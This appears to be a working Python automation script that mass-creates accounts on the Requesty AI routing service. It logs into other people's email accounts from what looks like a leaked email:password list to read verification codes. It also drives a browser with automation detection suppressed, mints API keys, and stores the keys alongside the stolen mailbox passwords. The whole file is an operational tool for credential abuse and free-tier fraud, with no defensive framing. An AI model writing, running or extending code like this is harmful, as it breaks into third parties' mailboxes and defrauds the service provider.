186 lines
9.4 KiB
Python
186 lines
9.4 KiB
Python
|
|
import os, sys, time, json, re, imaplib, email, subprocess, urllib.request, urllib.error, random
|
|
BASE=r'C:/Users/User/tmp/requesty'; LOG=BASE+'/mass4.log'
|
|
LF=open(LOG,'a',encoding='utf-8')
|
|
def L(*a):
|
|
s=' '.join(str(x) for x in a); LF.write(s+'\n'); LF.flush()
|
|
CHROME=r'C:/Program Files/Google/Chrome/Application/chrome.exe'
|
|
PORT=int(sys.argv[1]); N=int(sys.argv[2]); TAG=sys.argv[3] if len(sys.argv)>3 else 'X1'
|
|
PROXY=sys.argv[4] if len(sys.argv)>4 and sys.argv[4]!='none' else None
|
|
OFFSET=int(sys.argv[5]) if len(sys.argv)>5 else 0
|
|
PW=os.environ.get('RQ_PW','Rq!2026Str0ngPass')
|
|
BLOCKFILE=BASE+'/blocked_domains.txt'; DONEFILE=BASE+'/used_mails4.txt'
|
|
IMAPMAP=json.load(open(r'C:/Users/User/tmp/mail66k/discovered_imap.json'))
|
|
PREF=['aliyun.com','rediffmail.com','singnet.com.sg','ldsubmissions.com','bfirstmail.com','vip.hr']
|
|
|
|
def load_pool():
|
|
used=set()
|
|
for f in (DONEFILE, BASE+'/used_mails3.txt', BASE+'/used_ff.txt', BASE+'/used_mails2.txt'):
|
|
if os.path.exists(f): used|=set(open(f).read().split())
|
|
blocked=set(open(BLOCKFILE).read().split()) if os.path.exists(BLOCKFILE) else set()
|
|
blocked |= {'rambler.ru','gazeta.pl','t-online.de','topnet.tn','tvnetwork.hu','qqqmail.top'}
|
|
buckets={}
|
|
for line in open(r'C:/Users/User/tmp/mail66k/LIVE/live_all.txt', errors='ignore'):
|
|
line=line.strip()
|
|
if not line or ':' not in line: continue
|
|
u,p=line.split(':',1)
|
|
if u in used: continue
|
|
dom=u.split('@')[-1].lower()
|
|
if dom in blocked or dom not in IMAPMAP: continue
|
|
buckets.setdefault(dom,[]).append((u,p,dom))
|
|
out=[]
|
|
for d in PREF:
|
|
lst=buckets.get(d,[]); random.shuffle(lst); out+=lst
|
|
return out[OFFSET:]
|
|
|
|
def imap_get(host,port,u,p,timeout=200):
|
|
end=time.time()+timeout
|
|
while time.time()<end:
|
|
try:
|
|
c=imaplib.IMAP4_SSL(host,993,timeout=20); c.login(u,p)
|
|
folders=['INBOX']
|
|
try:
|
|
t,fl=c.list()
|
|
for f in fl or []:
|
|
s=f.decode('utf-8','ignore'); m=re.search(r'\)\s+"([^"]*)"\s+"?([^"]+)"?\s*$',s)
|
|
if m and any(k in m.group(2).lower() for k in ('inbox','spam','junk')):
|
|
if m.group(2) not in folders: folders.append(m.group(2))
|
|
except Exception: pass
|
|
for f in folders[:6]:
|
|
try: c.select(f,readonly=True)
|
|
except Exception: continue
|
|
ids=[]
|
|
try:
|
|
t,d=c.search(None,'FROM','requesty'); ids=d[0].split() if d and d[0] else []
|
|
except Exception: pass
|
|
if not ids:
|
|
try:
|
|
t,d=c.search(None,'ALL'); ids=d[0].split()[-8:] if d and d[0] else []
|
|
except Exception: ids=[]
|
|
for i in reversed(ids[-8:]):
|
|
try:
|
|
t,m=c.fetch(i,'(RFC822)'); msg=email.message_from_bytes(m[0][1])
|
|
subj=str(email.header.make_header(email.header.decode_header(msg['Subject'] or '')))
|
|
if 'requesty' in (subj+(msg['From'] or '')).lower():
|
|
mm=re.search(r'\b(\d{6})\b',subj)
|
|
if mm: c.logout(); return mm.group(1)
|
|
except Exception: pass
|
|
c.logout()
|
|
except Exception: pass
|
|
time.sleep(6)
|
|
return None
|
|
|
|
def api(jwt, method, path, body=None):
|
|
h={'Authorization':'Bearer '+jwt,'Origin':'https://app.requesty.ai','Referer':'https://app.requesty.ai/api-keys','Content-Type':'application/json'}
|
|
req=urllib.request.Request('https://api-v2.requesty.ai'+path, data=(json.dumps(body).encode() if body is not None else None), method=method, headers=h)
|
|
try:
|
|
r=urllib.request.urlopen(req,timeout=40); return r.status, r.read().decode()
|
|
except urllib.error.HTTPError as e: return e.code, e.read().decode()[:300]
|
|
except Exception as e: return 0, str(e)[:120]
|
|
|
|
def make_key(jwt):
|
|
st,b=api(jwt,'GET','/v1/organization')
|
|
if st!=200: return None,'org %d %s'%(st,b[:80])
|
|
try: gid=json.loads(b)['org']['default_group_id']
|
|
except Exception: return None,'no gid'
|
|
st2,b2=api(jwt,'POST','/v1/apikey',{"name":"goth-"+os.urandom(2).hex(),"permissions":{"manage":"none","completions":"write"},"group_id":gid})
|
|
if st2==200:
|
|
try: return json.loads(b2)['api_key'],'ok'
|
|
except Exception: return None,'parse'
|
|
return None,'post %d %s'%(st2,b2[:100])
|
|
|
|
def probe(key):
|
|
body=json.dumps({"model":"nvidia/nemotron-3-ultra-550b-a55b","messages":[{"role":"user","content":"Reply OK"}],"max_tokens":200}).encode()
|
|
req=urllib.request.Request('https://router.requesty.ai/v1/chat/completions',data=body,headers={'Authorization':'Bearer '+key,'Content-Type':'application/json'})
|
|
try:
|
|
r=urllib.request.urlopen(req,timeout=120); d=json.loads(r.read().decode())
|
|
return True,(d['choices'][0]['message'].get('content') or '')[:12]
|
|
except Exception as e:
|
|
try: return False, e.read().decode()[:60]
|
|
except Exception: return False, str(e)[:60]
|
|
|
|
import psutil
|
|
def kill_chrome(port):
|
|
for p in psutil.process_iter(['pid','cmdline']):
|
|
try:
|
|
cl=' '.join(p.info['cmdline'] or [])
|
|
if 'chrome' in cl.lower() and str(port) in cl: p.kill()
|
|
except Exception: pass
|
|
|
|
from playwright.sync_api import sync_playwright
|
|
alive=0; tried=0; nokey_ct=0
|
|
with sync_playwright() as pw:
|
|
kill_chrome(PORT); time.sleep(1)
|
|
args=[CHROME,f'--remote-debugging-port={PORT}',f'--user-data-dir={BASE}/profiles/m4_{TAG}','--no-first-run','--no-default-browser-check',
|
|
'--disable-blink-features=AutomationControlled','--start-maximized','--lang=en-US','about:blank']
|
|
if PROXY: args.insert(1,'--proxy-server='+PROXY)
|
|
subprocess.Popen(args,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
|
|
up=False
|
|
for _ in range(30):
|
|
try: urllib.request.urlopen(f'http://127.0.0.1:{PORT}/json/version',timeout=2).read(); up=True; break
|
|
except Exception: time.sleep(1)
|
|
if not up: L('no cdp'); sys.exit(1)
|
|
br=pw.chromium.connect_over_cdp(f'http://127.0.0.1:{PORT}')
|
|
ctx=br.contexts[0]; ctx.add_init_script("Object.defineProperty(navigator,'webdriver',{get:()=>undefined});")
|
|
pg=ctx.new_page()
|
|
while tried<N:
|
|
pool=load_pool()
|
|
if not pool: L('pool empty'); break
|
|
addr,mpass,dom=pool[0]; tried+=1
|
|
L('=== %s %s (%s)'%(TAG,addr,dom))
|
|
key=''
|
|
try:
|
|
cdp=ctx.new_cdp_session(pg); cdp.send('Network.clearBrowserCookies'); cdp.detach()
|
|
pg.goto('https://app.requesty.ai/sign-up', wait_until='domcontentloaded', timeout=90000)
|
|
pg.wait_for_selector('input[name=emailAddress]', timeout=50000)
|
|
pg.fill('input[name=emailAddress]', addr); pg.fill('input[name=password]', PW)
|
|
cb=pg.query_selector('input[name=legalAccepted]')
|
|
if cb: cb.click()
|
|
time.sleep(1); pg.click('button:has-text("Continue")')
|
|
state='none'; end=time.time()+100
|
|
while time.time()<end:
|
|
time.sleep(3)
|
|
try: low=pg.inner_text('body')[:400].lower()
|
|
except Exception: low=''
|
|
if 'verify your email' in low or 'verification code' in low: state='code'; break
|
|
if 'already in use' in low: state='taken'; break
|
|
if 'not supported' in low: state='temp'; break
|
|
if 'could not be completed' in low: state='blocked'; break
|
|
L(' state',state)
|
|
if state=='code':
|
|
host,iport=IMAPMAP[dom]
|
|
code=imap_get(host,iport,addr,mpass)
|
|
L(' code',code)
|
|
if code:
|
|
r2=pg.evaluate("""async (c)=>{try{
|
|
const su=window.Clerk.client.signUp;
|
|
const r1=await su.attemptEmailAddressVerification({code:c});
|
|
const o={s:r1.status,sess:r1.createdSessionId};
|
|
if(su.createdSessionId){await window.Clerk.setActive({session:su.createdSessionId}); o.act=!!window.Clerk.session;}
|
|
return JSON.stringify(o);}catch(e){return 'ERR '+String(e&&(e.errors?JSON.stringify(e.errors):e)).slice(0,140);}}""", code)
|
|
L(' sdk',str(r2)[:120])
|
|
time.sleep(2)
|
|
jwt=pg.evaluate("""async ()=>{try{ if(!window.Clerk.session) return ''; return await window.Clerk.session.getToken(); }catch(e){ return ''; }}""")
|
|
if isinstance(jwt,str) and jwt.startswith('eyJ'):
|
|
L(' jwt', len(jwt))
|
|
key,why=make_key(jwt)
|
|
L(' mkkey', why)
|
|
else:
|
|
L(' no jwt')
|
|
else:
|
|
if state=='temp': open(BLOCKFILE,'a').write(dom+'\n'); L(' dom blocked',dom)
|
|
if state=='blocked': time.sleep(12)
|
|
except Exception as e:
|
|
L(' ERR',str(e)[:110])
|
|
open(DONEFILE,'a').write(addr+'\n')
|
|
if key:
|
|
a,m=probe(key); alive+=1 if a else 0
|
|
open(BASE+'/bank.jsonl','a',encoding='utf-8').write(json.dumps({'email':addr,'mail_pw':mpass,'pw':PW,'key':key,'alive':a,'msg':m,'tag':TAG,'ts':int(time.time())})+'\n')
|
|
L(' RESULT alive' if a else ' RESULT dead', m)
|
|
else:
|
|
nokey_ct+=1
|
|
L(' RESULT nokey')
|
|
time.sleep(random.randint(3,7))
|
|
L('DONE %s tried=%d alive=%d'%(TAG,tried,alive))
|
|
print('mass4 done tried=%d alive=%d nokey=%d'%(tried,alive,nokey_ct))
|